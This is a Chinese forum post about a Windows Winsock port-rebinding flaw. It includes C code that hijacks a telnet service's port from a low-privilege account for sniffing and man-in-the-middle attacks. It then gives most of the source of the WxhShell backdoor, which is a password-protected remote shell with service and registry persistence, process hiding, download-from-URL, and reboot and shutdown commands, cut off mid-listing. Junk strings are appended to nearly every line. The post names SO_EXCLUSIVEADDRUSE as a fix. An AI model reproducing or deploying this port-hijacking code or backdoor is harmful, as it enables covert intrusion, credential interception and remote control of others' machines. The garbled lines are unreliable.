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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s._,IW;   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *vqUOh  
^8dCFw.rU  
  saddr.sin_family = AF_INET; ]1[:fQF7/L  
.E7"Lfs-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); alsD TQ'  
z${[Z=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wIWO?w2  
Vkf{dHjW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0<f.r~  
00r7trZW^  
  这意味着什么?意味着可以进行如下的攻击: =<K6gC27  
Bf[`o<c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &2ty++gC  
;R@D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sfy}J1xIL  
{#pw rWG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2^rJ|Ni  
m|OB_[9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r{*BJi.b  
pWH,nn?w.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I_R6 M1  
;Z`R!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L7.SH#m  
P%!=Rj^2m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cm"S=gV  
/cvMp#<]  
  #include V:+z3)qF  
  #include `UqX`MFz  
  #include rP!GS _RG  
  #include     5IF$M2j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "-rqL  
  int main() H_aG\  
  { {r5OtYmpR  
  WORD wVersionRequested; )dJx82" l  
  DWORD ret; cVr+Wp7K#|  
  WSADATA wsaData; bUYjmb2g)  
  BOOL val; <:8Ew  
  SOCKADDR_IN saddr; EP+LK?{%  
  SOCKADDR_IN scaddr; Z B!~@Vf  
  int err; M23r/eg]  
  SOCKET s; sN#ju5  
  SOCKET sc; $>+g)  
  int caddsize; dI!/H&`B]  
  HANDLE mt; 6mgLeeY  
  DWORD tid;   mGkQx -|  
  wVersionRequested = MAKEWORD( 2, 2 ); (<e<Q~(  
  err = WSAStartup( wVersionRequested, &wsaData ); MY}K.^ 4^  
  if ( err != 0 ) { jCIY(/  
  printf("error!WSAStartup failed!\n"); 1i)3!fH0:  
  return -1; Jz P0D'  
  } Cbm^: _LR  
  saddr.sin_family = AF_INET; GY^;$?  
   {.y_{yWo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C46jVl   
H(y Gh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Tb8r+~HK  
  saddr.sin_port = htons(23); de TD|R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 64>CfU(  
  { #5{BxX&\  
  printf("error!socket failed!\n"); MpIiHKQ G9  
  return -1; lXzm)  
  } o)R<sT  
  val = TRUE; H/={RuU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sNP ;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h@y>QhYU0  
  { hr hj4  
  printf("error!setsockopt failed!\n"); 8Kk41=  
  return -1; m^,VEV>  
  } TZ!@IBu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S_ ;r!.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o/n4M]G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @g]EY&Uzl  
(vvD<S*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @X560_x[q  
  { f$vTDak  
  ret=GetLastError(); GS}JyU  
  printf("error!bind failed!\n"); 9jM7z/Ff  
  return -1; DVJn;X^T:  
  } {];-b0MS~  
  listen(s,2); 1uB$@a\  
  while(1) k,f/9e+#  
  { nr,Z0  
  caddsize = sizeof(scaddr); |{_>H '  
  //接受连接请求 $J&c1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y*v|q=  
  if(sc!=INVALID_SOCKET) >7S@3,C3ke  
  { 5K)_w:U X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /H3w7QU  
  if(mt==NULL) m4Ue)  
  { Ndgx@LTQQ  
  printf("Thread Creat Failed!\n"); U=U5EdN;  
  break; AYpvGl'  
  } (oG.A  
  } U4yl{?  
  CloseHandle(mt); pVrY';[,|  
  } Uqy/~n-v<  
  closesocket(s); vAqj4:j  
  WSACleanup(); bMNr +N  
  return 0; }&= =;7,O  
  }   0z4M/WrNt  
  DWORD WINAPI ClientThread(LPVOID lpParam) n=AcN  
  { 2i1xSKRYrD  
  SOCKET ss = (SOCKET)lpParam; &ODo7@v`1  
  SOCKET sc; w*;"@2y;eY  
  unsigned char buf[4096]; `u PLyS.  
  SOCKADDR_IN saddr; lBAu@M  
  long num; m]vV.pwv  
  DWORD val; fFWi 3.  
  DWORD ret; * 1xs/$`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #.$y   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sf# px|~9  
  saddr.sin_family = AF_INET; RVLVY:h|F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4RYH^9;>K  
  saddr.sin_port = htons(23); N;6o=^ic  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $CX3P)% `  
  { cDE5/!  
  printf("error!socket failed!\n"); !\9^|Ef?  
  return -1; I0z7bx  
  } o0|Ex\  
  val = 100; pe\Nwq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V/kndV[j  
  { oD1k7Gq1  
  ret = GetLastError(); Xc}XRKiy{  
  return -1; <c:H u{D  
  } 0y?;o*&U\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pRL:,q\  
  { gZ7R^] k  
  ret = GetLastError(); /F(n%8)Yq  
  return -1; W I MBw mg  
  } o[i N/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8&| o  
  { Ke?,AWfG  
  printf("error!socket connect failed!\n"); w^$C\bCbh  
  closesocket(sc); fwV2b<[  
  closesocket(ss); 79exZ7|  
  return -1; 1EEcNtpub]  
  } NRx I?v  
  while(1) #jW=K&;  
  { TjYHoL5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &} `a"tYr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =!xX{o?64  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D&D6!jz  
  num = recv(ss,buf,4096,0); "QiR  
  if(num>0) PPIO<K 3`  
  send(sc,buf,num,0); '?L^Fa_H  
  else if(num==0) kLZVTVSJt  
  break; ]+W){W=ai  
  num = recv(sc,buf,4096,0); V K 7  
  if(num>0) ,w H~.LHi  
  send(ss,buf,num,0); F P|cA^$<  
  else if(num==0) b \ln XN  
  break; ?4Rd4sIM$u  
  } V|$PO Qa3  
  closesocket(ss); wCruj`$  
  closesocket(sc); !$oa6*<1  
  return 0 ; %xOxMK@  
  } #?jsC)  
Z?!AJY  
3IlVSR^py  
========================================================== Zr2!}jD9a  
(I#6!Yt9J  
下边附上一个代码,,WXhSHELL Ez5t)l-  
iae NY;T  
========================================================== D5snaGss9a  
'5De1K.\`  
#include "stdafx.h" Kw" y#Ys]  
#X?[")R  
#include <stdio.h> 'yq?xlIj  
#include <string.h> f!w/zC .  
#include <windows.h> C8> i{XOO,  
#include <winsock2.h> xd ^Pkf  
#include <winsvc.h> =2Yt[8';  
#include <urlmon.h> YZ4`b-  
KGg S"d  
#pragma comment (lib, "Ws2_32.lib") "g&f:[a/  
#pragma comment (lib, "urlmon.lib") H~:oW~Ah  
-ZZJk-::  
#define MAX_USER   100 // 最大客户端连接数 Babzrt-  
#define BUF_SOCK   200 // sock buffer n+ebi>}P  
#define KEY_BUFF   255 // 输入 buffer Sq ]gU  
BO w[*hM  
#define REBOOT     0   // 重启 a(]&H "  
#define SHUTDOWN   1   // 关机 pka^7OWyN  
~1wt=Ln>  
#define DEF_PORT   5000 // 监听端口 4A6Y \ZXI  
sA| SOAn  
#define REG_LEN     16   // 注册表键长度 T :d+Qz\  
#define SVC_LEN     80   // NT服务名长度 xw 43P.  
w.(WG+  
// 从dll定义API phjM(lmCo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SYA~I-OYc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BoYY^ih  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v7wyQx+Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;WX.D]>{W  
* $fM}6}  
// wxhshell配置信息 *u"%hXR  
struct WSCFG { 8:V,>PH  
  int ws_port;         // 监听端口 _uMG?Sbx  
  char ws_passstr[REG_LEN]; // 口令 m[v0mXE  
  int ws_autoins;       // 安装标记, 1=yes 0=no klT?h[I!  
  char ws_regname[REG_LEN]; // 注册表键名 `D~oY=  
  char ws_svcname[REG_LEN]; // 服务名 f^B8!EY#:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *af\U3kx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G&{yM2:E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y^!qeY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SefhOh^,V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kgr<OL}VJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *pa hZiO  
:p/=KI_  
}; } u;{38~  
oOpEpQ}}q  
// default Wxhshell configuration M*gvYo  
struct WSCFG wscfg={DEF_PORT, ue@/o,C>  
    "xuhuanlingzhe", 9S@x  
    1, scH61Y8`  
    "Wxhshell", /g{*px|  
    "Wxhshell", y,x 2f%x  
            "WxhShell Service", MLHCBRi  
    "Wrsky Windows CmdShell Service", Sc>mw   
    "Please Input Your Password: ", K $- *  
  1, IeYNTk &<  
  "http://www.wrsky.com/wxhshell.exe", )H W   
  "Wxhshell.exe" m 1; Htw  
    }; 8fP2qj0  
^7aqe*|vm  
// 消息定义模块 *P=3Pl?j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n!/0yR2S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ba m.B6-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pJ/]\>#5  
char *msg_ws_ext="\n\rExit."; qr%N /7  
char *msg_ws_end="\n\rQuit."; {L7Pha  
char *msg_ws_boot="\n\rReboot..."; > UZ-['H  
char *msg_ws_poff="\n\rShutdown..."; k}fC58q  
char *msg_ws_down="\n\rSave to "; >=;-:  
g:Qq%'  
char *msg_ws_err="\n\rErr!"; {. 9BG&  
char *msg_ws_ok="\n\rOK!"; lz#.f,h  
7gf(5p5ZV  
char ExeFile[MAX_PATH]; q=88*Y  
int nUser = 0; #ay/VlD@  
HANDLE handles[MAX_USER]; TF :'6#p  
int OsIsNt; dfdK%/' $(  
lu"0\}7X  
SERVICE_STATUS       serviceStatus; I#(lxlp"Ho  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hvk~BP' m  
IsI5c  
// 函数声明 I~n4}}9M  
int Install(void); .J O3#  
int Uninstall(void); gdf0  
int DownloadFile(char *sURL, SOCKET wsh); EO)JMV?6  
int Boot(int flag); (1D1;J4g  
void HideProc(void); t/Io.d   
int GetOsVer(void); MygAmV&  
int Wxhshell(SOCKET wsl); 9 fB|e|  
void TalkWithClient(void *cs); D2&d",%&f  
int CmdShell(SOCKET sock); JyE-c}I  
int StartFromService(void); CjpGo}a/  
int StartWxhshell(LPSTR lpCmdLine); #G]IEO$M6  
5eff3qrH{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #9|&;C5',!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p"%D/-%Gu  
qBBCnT  
// 数据结构和表定义 0QZT<Zs  
SERVICE_TABLE_ENTRY DispatchTable[] = X|{Tljn  
{ )]C]KB  
{wscfg.ws_svcname, NTServiceMain}, rk1,LsZVS  
{NULL, NULL} hc q&`Gun  
}; %oa@2qJ^  
,.9lz  
// 自我安装 VNWB$mM.2  
int Install(void) JGHj(0j  
{ C7{VByxJ  
  char svExeFile[MAX_PATH]; SDC|>e9i  
  HKEY key; t7-]OY7%w_  
  strcpy(svExeFile,ExeFile); >1!u]R<3  
G%bv<_R  
// 如果是win9x系统,修改注册表设为自启动 J "I,]  
if(!OsIsNt) { 8S8qj"s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #b;?:.m\=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zz U,0 L  
  RegCloseKey(key); g0zzDv7~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mrrpm% Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hdew5Xn(:  
  RegCloseKey(key); 4aOz=/x2  
  return 0; !2!Zhw2u  
    } *`+zf7-f  
  } EX_j|/&tZ  
} LMoZI0)x  
else { ~NK $rHwi%  
rlKR <4H  
// 如果是NT以上系统,安装为系统服务 Y ]()v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [M[#f&=Z  
if (schSCManager!=0) 5T#v &  
{ 9DA |;|  
  SC_HANDLE schService = CreateService ?]D&D:Z?I  
  ( <CuUwv 'A  
  schSCManager, iUcX\ uW  
  wscfg.ws_svcname, ~4~r  
  wscfg.ws_svcdisp, iG54 +]  
  SERVICE_ALL_ACCESS, KUU {X~w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b+qd' ,.Z  
  SERVICE_AUTO_START, DehjV6t  
  SERVICE_ERROR_NORMAL, ^~V2xCu!  
  svExeFile, vcu@_N1Dc  
  NULL, KuJ9bn{u!C  
  NULL, Cik1~5iF  
  NULL, As46:<!2  
  NULL, <w^u^)iLy1  
  NULL *w@ 1@6?j  
  ); ;B 8Q,.t>x  
  if (schService!=0) rn)Gx2 5  
  { ]?(kaNQ "D  
  CloseServiceHandle(schService); v1{j1~ZR  
  CloseServiceHandle(schSCManager); \|S%zX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4:rwzRDY  
  strcat(svExeFile,wscfg.ws_svcname); flPS+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KR$Fd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 14'\@xJMM  
  RegCloseKey(key); x$-kw{N  
  return 0; iKo2bC:.&  
    } iz-z?)%  
  } k'O.1  
  CloseServiceHandle(schSCManager); QtnNc!,n  
} [voZ=+/  
} _33 b %  
b_TI_  
return 1; l jK?2z>  
} `]W9Fj<1j  
:-jbIpj'  
// 自我卸载 H14Q-2U1xa  
int Uninstall(void) 3/]1m9x  
{ E$ \l57  
  HKEY key; [E p'm  
9jImuSZ  
if(!OsIsNt) { f%EHzm/V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cV6H!\  
  RegDeleteValue(key,wscfg.ws_regname); b, a7XANsh  
  RegCloseKey(key); -OJ<Lf+"=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1J9p1_d5  
  RegDeleteValue(key,wscfg.ws_regname); EmT_T 3v  
  RegCloseKey(key); |c0^7vrC  
  return 0; fd *XK/h  
  } sf2%WPK  
} Ua \f]y  
} $CMye; yL  
else { #3*cA!V.<  
Ct-eD-X{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \ Ki3ls  
if (schSCManager!=0) d;dT4vx$[M  
{ eQuw uT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %mss{p!d6  
  if (schService!=0) j.]]VA  
  { P0m9($JBD  
  if(DeleteService(schService)!=0) { [z!m  
  CloseServiceHandle(schService); r2#G|/=@  
  CloseServiceHandle(schSCManager); lUjZ=3"'  
  return 0; _<f%== I'  
  } [4#HuO@h  
  CloseServiceHandle(schService); >;9g`d  
  } q`p0ul,n  
  CloseServiceHandle(schSCManager); !T<,fR+8X  
} X(/fE?%;  
} n`Z}tQ%)o  
(!fx5&F  
return 1; \Ebh6SRp\  
} b|AjB:G  
wzy[sB274  
// 从指定url下载文件 -KC@M  
int DownloadFile(char *sURL, SOCKET wsh) @}6<,;|DQ  
{ H,TApF89A  
  HRESULT hr; "=DQ {(L  
char seps[]= "/"; r1 :TM|5L  
char *token; wA$?e}  
char *file; 7HW:;2dL  
char myURL[MAX_PATH]; yL asoh  
char myFILE[MAX_PATH]; :"# "{P  
-Wa<}Tz  
strcpy(myURL,sURL); CP\[9#]:  
  token=strtok(myURL,seps); OD7A(28  
  while(token!=NULL) 0B8Wf/j?M  
  { BTwc(oL  
    file=token; ngZq]8 =o  
  token=strtok(NULL,seps); KgM|:'  
  } <k8WnA ~Fl  
T+T)~!{%  
GetCurrentDirectory(MAX_PATH,myFILE); F1BvDplQ>G  
strcat(myFILE, "\\"); wowf 1j-  
strcat(myFILE, file); Vq0X:<9  
  send(wsh,myFILE,strlen(myFILE),0); F_:W u,dUZ  
send(wsh,"...",3,0); cr-5t4<jK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KJJ:fG8'  
  if(hr==S_OK) {wM<i  
return 0; XE_Lz2H`  
else EXeV @kg  
return 1; #akJhy@m$  
Xbmsq,*]  
} yHE\Q  
j xI;clr  
// 系统电源模块 Ju#j%!  
int Boot(int flag) lS Y "  
{ HgW!Q(*  
  HANDLE hToken; 9j^rFG!n  
  TOKEN_PRIVILEGES tkp; CC^]Y.9  
<EqS ,cO^  
  if(OsIsNt) { Dn<3#V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~roNe|P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )0 E_Y@  
    tkp.PrivilegeCount = 1; '%/=\Q`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8Ys)qx>7'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }.D18bE(  
if(flag==REBOOT) { V?yQm4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MPnMLUB$\  
  return 0; *PlKl_nP6  
} :j~4mb?$  
else { ;g8v7>p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :4[>]&:u3  
  return 0; {.oz^~zs]g  
} JtSwbdN  
  } = LIb0TZ2  
  else { IR3SP[K"  
if(flag==REBOOT) { 4_>;|2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %cDGs^lgA  
  return 0; Ndl{f=sjX-  
} 6H2Bf*i  
else { -}4CY\d6'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H[: lQ\  
  return 0; ,#BD/dF  
} " ]k}V2l  
} tkm@&e=e%  
shdzkET8N  
return 1; WYRC_U7  
} eK(k;$4\^Y  
c]1AM)xo  
// win9x进程隐藏模块 tc.|mIvw  
void HideProc(void) 1F>8#+B/W  
{ jQ7;-9/~N  
e~*tQ4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n&&C(#mBC  
  if ( hKernel != NULL ) ;=@O.iF;H  
  { ]O:u9If  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _l] 0V g`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D]fgBW-  
    FreeLibrary(hKernel); a{e 2*V  
  } fz VN;h  
Muq~p~m}  
return; H(Wiy@cJn  
} :''Swi<H  
/m>SEo\{C  
// 获取操作系统版本 .KG9YGL#  
int GetOsVer(void) D&K9!z"]  
{ nF]E":  
  OSVERSIONINFO winfo; %OHWGac"i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tt{X(I} J  
  GetVersionEx(&winfo); s^6,"C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2N |iOog  
  return 1; +8 "8s  
  else tUJe-3,  
  return 0; R-W.$-rF  
} r/':^Ex  
.P T7  
// 客户端句柄模块 JXww_e[  
int Wxhshell(SOCKET wsl) dg*xo9Xi`  
{ EJz!#f~  
  SOCKET wsh; . WJ  
  struct sockaddr_in client; Q~ Nq5[  
  DWORD myID; +B8oW3v# )  
e\aW~zs 2  
  while(nUser<MAX_USER) ;B2&#kot7  
{ rFt +Y})  
  int nSize=sizeof(client); gkTwGI+w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -;6uN\gq  
  if(wsh==INVALID_SOCKET) return 1; [V8^}s}tF  
^; U}HAY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Js*>xA  
if(handles[nUser]==0) Nk%$;Si  
  closesocket(wsh); XmwR^  
else  HC/a  
  nUser++; ~#so4<A`3  
  } #~m^RoE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Exv!!0Cd^  
iu{;|E  
  return 0; WC_U'nTu4  
} AK'3N1l`  
m=COF$<  
// 关闭 socket 3qu?qD  
void CloseIt(SOCKET wsh) Je"XIhBr  
{ :qR8 e J  
closesocket(wsh); dR>$vbjh1Z  
nUser--; gyy}-^`F  
ExitThread(0); 9' H\-  
} W:WRG8(F  
3 %r*~#nz  
// 客户端请求句柄 45Zh8k  
void TalkWithClient(void *cs) o&k,aCQC  
{ *yZta:(w-W  
A=ez,87  
  SOCKET wsh=(SOCKET)cs; # ax% n  
  char pwd[SVC_LEN]; w .M  
  char cmd[KEY_BUFF]; i*4v!(E  
char chr[1]; e50xcf1u  
int i,j; I_?R(V[9  
dF! B5(  
  while (nUser < MAX_USER) { h?ijZHG $  
)FA:wsy~E  
if(wscfg.ws_passstr) { FW3E UC)P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xfb-< Q0A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i 8cmT+}>  
  //ZeroMemory(pwd,KEY_BUFF); 'tQp&p j  
      i=0; F!?f|z,/  
  while(i<SVC_LEN) { N48X[Q*  
ox.kL  
  // 设置超时 MR@Qn[RdM  
  fd_set FdRead; EN}4-P/5  
  struct timeval TimeOut; G:|]w,^i  
  FD_ZERO(&FdRead); 8W Qc8  
  FD_SET(wsh,&FdRead); pfl^GgP#  
  TimeOut.tv_sec=8; XfIsf9  
  TimeOut.tv_usec=0; hCX/k<}I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?mVSc/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u]9 #d^%V  
NYxL7:9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8U]mr+  
  pwd=chr[0]; 09Q5gal  
  if(chr[0]==0xd || chr[0]==0xa) { "~Kph0-  
  pwd=0; >wYmx4W>  
  break; UT 7'-  
  } S5L0[SZ$!  
  i++; ?%Q=l;W.  
    } s nNd7v.U6  
3:sx%Ci/2  
  // 如果是非法用户,关闭 socket @b5$WKPX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a>Aq/=  
} weGsjy(b]N  
;3Z?MQe"NQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^x( s !4d]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I&^hG\D  
 l]   
while(1) { X*Q<REDB  
u Vv %k5  
  ZeroMemory(cmd,KEY_BUFF); G_k_qP^:  
z -]ND  
      // 自动支持客户端 telnet标准   cs:?Wq ^  
  j=0; I~ mu'T  
  while(j<KEY_BUFF) { nI73E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r4?|sAK  
  cmd[j]=chr[0]; pma=*  
  if(chr[0]==0xa || chr[0]==0xd) { R$eEW"]  
  cmd[j]=0; Q!AGalP z  
  break; (v0Q.Q@ <  
  } ]-+l.gVFW  
  j++; HYJEz2RF  
    } u<Ch]m+  
_3g!_  
  // 下载文件 "-IF_Hid  
  if(strstr(cmd,"http://")) { .%0a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); olHmRJ  
  if(DownloadFile(cmd,wsh)) NQOf\.#g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j(pe6  
  else  Lo)T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h]Gvt 5  
  } egWfKL&iy  
  else { G ,`]2'(@  
&g8Xjx&zj  
    switch(cmd[0]) { 02:`Joy2D  
  |@'K]$vZ*  
  // 帮助 @y eAM7  
  case '?': { \^'-=8<*>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ! bwy/A  
    break; kexvE 3  
  } %?/vC 6  
  // 安装 L?Ih;  
  case 'i': { V72?E%d0  
    if(Install()) #2*R0_b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /p}pdXS  
    else Y$ KR\ m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >@-BZJg/k  
    break;  z' 5  
    } ?cK67|%W  
  // 卸载 x.I?)x!C'  
  case 'r': { @RdNAP_6  
    if(Uninstall()) DoN]v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #,"[sag  
    else u0ZMrIJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U4iVI#f  
    break; je%y9*V  
    } p~-)6)We?  
  // 显示 wxhshell 所在路径 QZL,zI]LL  
  case 'p': { +mO/9m  
    char svExeFile[MAX_PATH]; M@pF[J/  
    strcpy(svExeFile,"\n\r"); #~r+Z[(,p  
      strcat(svExeFile,ExeFile); zvv/|z2(r  
        send(wsh,svExeFile,strlen(svExeFile),0); aCfWbJ@qiG  
    break; M~9IL\J^G  
    } ?'tFTh  
  // 重启 zP$"6~.  
  case 'b': { vXak5iq>X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F*4G@)  
    if(Boot(REBOOT)) zRR^v&.9K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ki ?V eFp  
    else { !|J2o8g  
    closesocket(wsh); J!QIMA4{  
    ExitThread(0); vcP_gJz  
    } 7VLn$q]:  
    break; +Q:)zE  
    } R0GD9  
  // 关机 '^'PdB  
  case 'd': { ?uF3Q)rCk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R@IwmJxX  
    if(Boot(SHUTDOWN)) c48I-{?  
